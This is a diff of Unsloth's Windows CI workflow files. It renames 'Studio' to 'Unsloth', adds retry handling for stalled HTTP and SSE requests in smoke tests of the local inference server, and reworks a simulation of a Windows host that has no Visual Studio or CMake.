mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -207,7 +208,7 @@ jobs:
echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV"
echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
- name: Run Studio API & Auth tests
- name: Run Unsloth API & Auth tests
# Do NOT pin STUDIO_AUTH_DIR here. The Mac/Linux mirrors
# hardcode runner-specific paths (/Users/runner/...,
# /home/runner/...), but on Windows the path is
@ -219,7 +220,7 @@ jobs:
BASE_URL: http://127.0.0.1:18895
run: python tests/studio/studio_api_smoke.py
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true

View file

@ -1,7 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Three end-to-end smoke jobs that boot a freshly-installed Studio and
# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and
# exercise the surfaces real users hit through the OpenAI / Anthropic
# SDKs and curl, on the FREE windows-latest runner. Each job picks the
# smallest model that exercises the behaviour under test, primes
@ -16,7 +16,7 @@
# Qwen3-VL-2B-Instruct UD-IQ2_XXS + mmproj-F16 (~1.4 GiB total).
# Within the 14 GB windows-latest SSD budget.
name: Windows Studio GGUF CI
name: Windows Unsloth GGUF CI
on:
pull_request:
@ -57,7 +57,7 @@ jobs:
STUDIO_PORT: '18888'
HF_HOME: ${{ github.workspace }}/hf-cache
# Force UTF-8 for stdio (Windows defaults to cp1252; hf
# download / Studio CLI print "✓" checkmarks and crash
# download / Unsloth CLI print "✓" checkmarks and crash
# otherwise).
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
@ -160,7 +160,7 @@ jobs:
# studio-windows-update-smoke.yml for the full rationale --
# creating an empty studio/frontend/dist trips setup.ps1's
# mtime-based staleness check into "frontend up to date, skip
# rebuild" and Studio boots with an empty dist directory.
# rebuild" and Unsloth boots with an empty dist directory.
# Add-MpPreference accepts paths that do not yet exist.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
@ -176,7 +176,7 @@ jobs:
}
}
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -214,7 +214,7 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
run: |
SHIM_DIR=~/.unsloth/studio/bin
if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@ -227,9 +227,10 @@ jobs:
- name: Install OpenAI + Anthropic Python SDKs
run: python -m pip install 'openai>=1.50' 'anthropic>=0.40'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -244,7 +245,7 @@ jobs:
fi
sleep 1
done
echo "Studio did not become healthy in 180s"
echo "Unsloth did not become healthy in 180s"
tail -200 logs/studio.log
exit 1
@ -281,7 +282,7 @@ jobs:
# Retry the load step a few times so a transient TCP RST during
# llama-server warm-up (Windows runner image churn,
# windows-latest -> windows-2025-vs2026 rollout) doesn't fail
# the whole job. The Studio backend's _wait_for_health now
# the whole job. The Unsloth backend's _wait_for_health now
# catches httpx.ReadError too; this retry layer covers the
# cases the backend can't recover from on its own.
LOAD_OK=0
@ -382,15 +383,15 @@ jobs:
print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
# Run as cmd so we are not running through the Git Bash shell;
# Git Bash on windows-latest has been observed to exit 143
# (SIGTERM) from any inline kill/sleep block, masking a green
# test run. The runner reclaims the Studio child process at
# test run. The runner reclaims the Unsloth child process at
# job end either way, so just emit a marker and exit 0.
shell: cmd
run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
- name: Collect llama-server logs
if: always()
@ -398,10 +399,10 @@ jobs:
# copy must not fail an otherwise-green job.
continue-on-error: true
shell: bash
# Copy llama-server's own stdout/stderr (teed by Studio under
# Copy llama-server's own stdout/stderr (teed by Unsloth under
# ~/.unsloth/studio/logs/llama-server/) into the workspace so
# upload-artifact can pick it up. Crucial for diagnosing a
# subprocess crash where Studio's traceback only shows the
# subprocess crash where Unsloth's traceback only shows the
# symptom (httpx ReadError) but not the cause.
run: |
mkdir -p logs/llama-server
@ -439,14 +440,14 @@ jobs:
# (211 s on first run; subsequent runs hit the cache, but the
# one-time cost recurs every time the cache key bumps). Use
# main's `--local-dir gguf-cache` pattern: cache the flat .gguf
# only, pass an absolute path to Studio's /api/inference/load.
# only, pass an absolute path to Unsloth's /api/inference/load.
# The OpenAI/Anth and JSON+images jobs still cover the
# gguf_variant resolution path.
GGUF_REPO: unsloth/Qwen3.5-2B-GGUF
GGUF_FILE: Qwen3.5-2B-UD-Q4_K_XL.gguf
STUDIO_PORT: '18898'
# Force UTF-8 for stdio (Windows defaults to cp1252; hf
# download / Studio CLI print "✓" checkmarks and crash
# download / Unsloth CLI print "✓" checkmarks and crash
# otherwise).
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
@ -507,7 +508,7 @@ jobs:
# studio-windows-update-smoke.yml for the full rationale --
# creating an empty studio/frontend/dist trips setup.ps1's
# mtime-based staleness check into "frontend up to date, skip
# rebuild" and Studio boots with an empty dist directory.
# rebuild" and Unsloth boots with an empty dist directory.
# Add-MpPreference accepts paths that do not yet exist.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
@ -523,7 +524,7 @@ jobs:
}
}
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -561,7 +562,7 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
run: |
SHIM_DIR=~/.unsloth/studio/bin
if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@ -571,9 +572,9 @@ jobs:
fi
cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
- name: Reset auth + boot Studio (API-only, default tool policy)
- name: Reset auth + boot Unsloth (API-only, default tool policy)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -607,7 +608,7 @@ jobs:
# raw string, but we cannot embed `\a` etc. in JSON without
# JSON-string-escaping every backslash. Replace `\` with `/`
# via bash parameter expansion -- pathlib.Path on Windows
# accepts forward slashes natively, so Studio's loader sees
# accepts forward slashes natively, so Unsloth's loader sees
# a normal path.
GGUF_PATH="${GITHUB_WORKSPACE//\\//}/gguf-cache/${GGUF_FILE}"
ls -lh "$GGUF_PATH"
@ -634,6 +635,8 @@ jobs:
python - <<'PY'
import json
import os
import time
import urllib.error
import urllib.request
BASE = os.environ["BASE_URL"]
@ -656,10 +659,41 @@ jobs:
"Content-Type": "application/json",
},
)
with urllib.request.urlopen(req, timeout = timeout) as resp:
return resp.status, json.loads(resp.read().decode())
# Shared CI runners stall sporadically, so retry transport-level
# failures only; HTTP status errors surface immediately. Bounded
# to fit the job's timeout-minutes: short probes get 3 full
# attempts, long probes one retry capped at 300s (a healthy
# server answers a retry quickly; a stalled one never does).
attempts = 3 if timeout <= 300 else 2
for attempt in range(attempts):
try:
t = timeout if attempt == 0 else min(timeout, 300)
with urllib.request.urlopen(req, timeout = t) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
if attempt == attempts - 1:
raise
print(f"[retry] {path}: {exc!r}", flush = True)
time.sleep(15)
def post_sse(path, body, *, timeout = 600):
def post_sse(path, body, *, timeout = 600, retries = 1, soft = False):
# The server-side agentic loop always answers over SSE. A
# shared CI runner can stall the stream transport (the
# connection opening, or a mid-stream read) even when Unsloth
# is healthy, so harden the read three ways:
# * retry a transport stall once with a fresh request,
# capped at 300s (a healthy server answers a retry
# quickly, a wedged one never does);
# * return any text already streamed before a stall, so a
# stall on the trailing tokens -- after the answer
# arrived -- still counts;
# * when every attempt yields nothing, a hard call
# re-raises while a soft call (the best-effort
# server-side tool probes) returns None so the caller
# can WARN instead of sinking the whole job.
# HTTP status errors always surface immediately.
body = {**body, "stream": True}
data = json.dumps(body).encode()
req = urllib.request.Request(
@ -671,24 +705,43 @@ jobs:
"Content-Type": "application/json",
},
)
parts = []
with urllib.request.urlopen(req, timeout = timeout) as resp:
for raw in resp:
line = raw.decode().strip()
if not line.startswith("data: "):
continue
payload = line[6:]
if payload == "[DONE]":
break
try:
chunk = json.loads(payload)
except json.JSONDecodeError:
continue
for choice in chunk.get("choices", []):
delta = choice.get("delta", {}) or {}
if delta.get("content"):
parts.append(delta["content"])
return "".join(parts)
for attempt in range(retries + 1):
parts = []
t = timeout if attempt == 0 else min(timeout, 300)
try:
with urllib.request.urlopen(req, timeout = t) as resp:
for raw in resp:
line = raw.decode().strip()
if not line.startswith("data: "):
continue
payload = line[6:]
if payload == "[DONE]":
break
try:
chunk = json.loads(payload)
except json.JSONDecodeError:
continue
for choice in chunk.get("choices", []):
delta = choice.get("delta", {}) or {}
if delta.get("content"):
parts.append(delta["content"])
return "".join(parts)
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
# Text already streamed is a valid signal -- keep it
# rather than re-running a heavy generation.
if parts:
joined = "".join(parts)
print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True)
return joined
if attempt == retries:
if soft:
print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True)
return None
raise
print(f"[retry-sse] {path}: {exc!r}", flush = True)
time.sleep(15)
# ── 1. Standard OpenAI function calling ──────────────────────
weather_tool = {
@ -731,16 +784,24 @@ jobs:
)
# ── 2. Server-side python tool ───────────────────────────────
# Bound each soft probe to a single 180s attempt (timeout=180,
# retries=0): this job runs two of them back-to-back under a
# 30-minute cap, so the default 600+15+300s per stall could hit
# the workflow timeout before the thinking checks run. A soft
# probe only WARNs anyway, so a retry buys nothing.
content = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": ["python"],
"session_id": "ci-tool-calling-py",
"temperature": TEMP,
"seed": SEED,
"max_tokens": 600,
})
if "56088" in content or "56,088" in content:
}, timeout = 180, retries = 0, soft = True)
if content is None:
print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking")
elif "56088" in content or "56,088" in content:
print(f"[tools] PASS python tool ({len(content)} chars, found 56088)")
else:
assert content, "python tool: SSE stream empty"
@ -757,13 +818,16 @@ jobs:
content = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": "Use the terminal tool to run `echo hello-bash-tool` and tell me the exact output."}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": ["terminal"],
"session_id": "ci-tool-calling-bash",
"temperature": TEMP,
"seed": SEED,
"max_tokens": 600,
})
if "hello-bash-tool" in content:
}, timeout = 180, retries = 0, soft = True)
if content is None:
print("[tools] WARN terminal tool: SSE transport stalled after retries -- non-blocking")
elif "hello-bash-tool" in content:
print(f"[tools] PASS terminal tool ({len(content)} chars)")
else:
assert content, "terminal tool: SSE stream empty"
@ -779,12 +843,13 @@ jobs:
content = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": ["web_search"],
"session_id": "ci-tool-calling-web",
"temperature": TEMP,
"seed": SEED,
"max_tokens": 400,
})
}, timeout = 180, retries = 0)
print(f"[tools] PASS web_search stream ({len(content)} chars)")
except Exception as exc:
print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
@ -818,15 +883,15 @@ jobs:
print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
# Run as cmd so we are not running through the Git Bash shell;
# Git Bash on windows-latest has been observed to exit 143
# (SIGTERM) from any inline kill/sleep block, masking a green
# test run. The runner reclaims the Studio child process at
# test run. The runner reclaims the Unsloth child process at
# job end either way, so just emit a marker and exit 0.
shell: cmd
run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
- name: Collect llama-server logs
if: always()
@ -834,10 +899,10 @@ jobs:
# copy must not fail an otherwise-green job.
continue-on-error: true
shell: bash
# Copy llama-server's own stdout/stderr (teed by Studio under
# Copy llama-server's own stdout/stderr (teed by Unsloth under
# ~/.unsloth/studio/logs/llama-server/) into the workspace so
# upload-artifact can pick it up. Crucial for diagnosing a
# subprocess crash where Studio's traceback only shows the
# subprocess crash where Unsloth's traceback only shows the
# symptom (httpx ReadError) but not the cause.
run: |
mkdir -p logs/llama-server
@ -875,7 +940,7 @@ jobs:
STUDIO_PORT: '18899'
HF_HOME: ${{ github.workspace }}/hf-cache
# Force UTF-8 for stdio (Windows defaults to cp1252; hf
# download / Studio CLI print "✓" checkmarks and crash
# download / Unsloth CLI print "✓" checkmarks and crash
# otherwise).
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
@ -941,7 +1006,7 @@ jobs:
# studio-windows-update-smoke.yml for the full rationale --
# creating an empty studio/frontend/dist trips setup.ps1's
# mtime-based staleness check into "frontend up to date, skip
# rebuild" and Studio boots with an empty dist directory.
# rebuild" and Unsloth boots with an empty dist directory.
# Add-MpPreference accepts paths that do not yet exist.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
@ -957,7 +1022,7 @@ jobs:
}
}
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -995,7 +1060,7 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
run: |
SHIM_DIR=~/.unsloth/studio/bin
if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@ -1008,9 +1073,9 @@ jobs:
- name: Install OpenAI + Anthropic Python SDKs
run: python -m pip install 'openai>=1.50' 'anthropic>=0.40'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -1063,6 +1128,8 @@ jobs:
import base64
import json
import os
import time
import urllib.error
import urllib.request
from openai import OpenAI
from anthropic import Anthropic
@ -1082,8 +1149,24 @@ jobs:
"Content-Type": "application/json",
},
)
with urllib.request.urlopen(req, timeout = timeout) as resp:
return resp.status, json.loads(resp.read().decode())
# Shared CI runners stall sporadically, so retry transport-level
# failures only; HTTP status errors surface immediately. Bounded
# to fit the job's timeout-minutes: short probes get 3 full
# attempts, long probes one retry capped at 300s (a healthy
# server answers a retry quickly; a stalled one never does).
attempts = 3 if timeout <= 300 else 2
for attempt in range(attempts):
try:
t = timeout if attempt == 0 else min(timeout, 300)
with urllib.request.urlopen(req, timeout = t) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
if attempt == attempts - 1:
raise
print(f"[retry] {path}: {exc!r}", flush = True)
time.sleep(15)
# ── 1. response_format = json_object (JSON mode) ─────────────
status, data = post("/v1/chat/completions", {
@ -1180,7 +1263,7 @@ jobs:
except Exception as exc:
print(
f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: "
f"{exc}. Studio successfully forwarded the request; failure here is "
f"{exc}. Unsloth successfully forwarded the request; failure here is "
f"upstream llama.cpp vision behaviour."
)
@ -1221,19 +1304,19 @@ jobs:
print(
f"[image/anthropic] WARN anthropic image SDK call raised: "
f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp vision "
f"behaviour, NOT a Studio regression."
f"behaviour, NOT an Unsloth regression."
)
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
# Run as cmd so we are not running through the Git Bash shell;
# Git Bash on windows-latest has been observed to exit 143
# (SIGTERM) from any inline kill/sleep block, masking a green
# test run. The runner reclaims the Studio child process at
# test run. The runner reclaims the Unsloth child process at
# job end either way, so just emit a marker and exit 0.
shell: cmd
run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
- name: Collect llama-server logs
if: always()
@ -1241,10 +1324,10 @@ jobs:
# copy must not fail an otherwise-green job.
continue-on-error: true
shell: bash
# Copy llama-server's own stdout/stderr (teed by Studio under
# Copy llama-server's own stdout/stderr (teed by Unsloth under
# ~/.unsloth/studio/logs/llama-server/) into the workspace so
# upload-artifact can pick it up. Crucial for diagnosing a
# subprocess crash where Studio's traceback only shows the
# subprocess crash where Unsloth's traceback only shows the
# symptom (httpx ReadError) but not the cause.
run: |
mkdir -p logs/llama-server
@ -1266,7 +1349,7 @@ jobs:
# ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ──
no-vs-cpu:
name: Studio install + inference without Visual Studio
name: Unsloth install + inference without Visual Studio
runs-on: windows-latest
timeout-minutes: 35
defaults:
@ -1334,42 +1417,75 @@ jobs:
try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { }
}
- name: Hide Visual Studio + CMake (simulate a host with no build tools)
- name: Prepare no-build-tools simulation
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# A Program Files dir can hold a transient handle (Defender / MSBuild node)
# so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
function Rename-WithRetry($Path, $NewName) {
for ($i = 1; $i -le 6; $i++) {
try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
$root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
$pf = Join-Path $root 'ProgramFiles'
$pfx86 = Join-Path $root 'ProgramFilesx86'
New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
$blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
foreach ($tool in @('cmake', 'cl.exe')) {
foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
if ($cmd.Source) {
$dir = Split-Path -Parent $cmd.Source
if ($dir) {
[void] $blocked.Add(
[Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\'))
}
}
}
}
# Rename the Visual Studio install roots (incl. the Installer that holds
# vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
if (Test-Path -LiteralPath $d) {
Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
Write-Host "Hid VS: $d"
}
# Normalized comparison so registry spellings (trailing slash,
# unexpanded %VAR%) still match.
function Test-Blocked([string]$p) {
$n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\')
return $blocked.Contains($n)
}
# Surgically rename each cmake executable on PATH (not its parent dir --
# cmake can share a dir with other shims) so Get-Command cmake fails.
$hidden = @()
foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
$hidden += $c.Source
Write-Host "Hid cmake: $($c.Source)"
}
$pathParts = $env:Path -split [IO.Path]::PathSeparator |
Where-Object { $_ -and -not (Test-Blocked $_) }
$noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
# install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
# rebuild the session Path from these scopes mid-install, so filter
# them too. Originals are saved for the cleanup step.
foreach ($scope in @('Machine', 'User')) {
$orig = [Environment]::GetEnvironmentVariable('Path', $scope)
if (-not $orig) { continue }
Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline
$kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';'
[Environment]::SetEnvironmentVariable('Path', $kept, $scope)
Write-Host "Filtered $scope Path scope."
}
"NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
"NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
"NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
$noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
"NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
Write-Host "ProgramFiles simulation root: $pf"
Write-Host "ProgramFiles(x86) simulation root: $pfx86"
if ($blocked.Count -gt 0) {
Write-Host "Removed build-tool PATH dirs:"
$blocked | Sort-Object | ForEach-Object { Write-Host " $_" }
} else {
Write-Host "No cmake or cl.exe PATH dirs found to remove."
}
("HIDDEN_CMAKE=" + ($hidden -join '|')) | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
- name: Assert Visual Studio + CMake are genuinely undetectable
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# Set in-script: the runner does not apply step-level env keys with
# parentheses (`ProgramFiles(x86)`), so vswhere still found VS.
if (-not $env:NO_BUILD_TOOLS_PROGRAMFILES) { Write-Error "NO_BUILD_TOOLS_* env missing (Prepare step did not run?)"; exit 1 }
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
$env:Path = $env:NO_BUILD_TOOLS_PATH
. (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
$setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools')) {
@ -1387,13 +1503,17 @@ jobs:
python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
- name: Install Studio (--local, --no-torch) with no build tools present
- name: Install Unsloth (--local, --no-torch) with no build tools present
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
# Set in-script (see the assert step); child processes inherit these.
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
$env:Path = $env:NO_BUILD_TOOLS_PATH
New-Item -ItemType Directory -Force -Path logs | Out-Null
$ProgressPreference = 'SilentlyContinue'
& ./install.ps1 --local --no-torch *>&1 | Tee-Object -FilePath logs/install.log
@ -1419,15 +1539,15 @@ jobs:
echo "Prebuilt installed with no build tools:"
cat "$INFO"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
run: |
SHIM_DIR=~/.unsloth/studio/bin
[ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; }
cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -1480,24 +1600,24 @@ jobs:
[ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; }
echo "Inference OK without Visual Studio: $CONTENT"
- name: Restore Visual Studio + CMake
- name: Clean no-build-tools simulation
if: always()
shell: pwsh
run: |
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
$off = "$d.vsoff"
if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
}
if ($env:HIDDEN_CMAKE) {
foreach ($src in ($env:HIDDEN_CMAKE -split '\|')) {
if ($src -and (Test-Path -LiteralPath "$src.off")) { Rename-Item -LiteralPath "$src.off" -NewName (Split-Path $src -Leaf) }
$root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
foreach ($scope in @('Machine', 'User')) {
$saved = Join-Path $root "orig-path-$scope.txt"
if (Test-Path -LiteralPath $saved) {
[Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope)
Write-Host "Restored $scope Path scope."
}
}
Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue
- name: Stop Studio
- name: Stop Unsloth
if: always()
shell: cmd
run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
- name: Collect llama-server logs
if: always()
@ -1540,21 +1660,34 @@ jobs:
with:
python-version: '3.12'
- name: Hide Visual Studio
- name: Prepare no-build-tools simulation
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# Retry the rename: a Program Files dir can hold a transient handle that
# makes Rename-Item intermittently fail with "Access is denied".
function Rename-WithRetry($Path, $NewName) {
for ($i = 1; $i -le 6; $i++) {
try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
$root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
$pf = Join-Path $root 'ProgramFiles'
$pfx86 = Join-Path $root 'ProgramFilesx86'
New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
$blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
foreach ($tool in @('cmake', 'cl.exe')) {
foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
if ($cmd.Source) {
$dir = Split-Path -Parent $cmd.Source
if ($dir) { [void] $blocked.Add($dir) }
}
}
}
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
}
$pathParts = $env:Path -split [IO.Path]::PathSeparator |
Where-Object { $_ -and -not $blocked.Contains($_) }
$noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
"NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
"NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
"NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
$noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
"NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
- name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
env:
@ -1577,25 +1710,34 @@ jobs:
echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling."
- name: The prebuilt resolver runs without Visual Studio
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
$ErrorActionPreference = 'Stop'
# pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the
# python child inherits the overrides.
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
$env:Path = $env:NO_BUILD_TOOLS_PATH
# Resolver-only (no GPU on hosted runners, so the host resolves to the
# CPU bundle). The point is that resolution needs no compiler/VS.
python -m pip install --upgrade huggingface_hub
python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > /tmp/resolve.json || {
echo "::error::resolver exited non-zero"; cat /tmp/resolve.json || true; exit 1; }
cat /tmp/resolve.json
echo "Prebuilt resolver ran with no Visual Studio present."
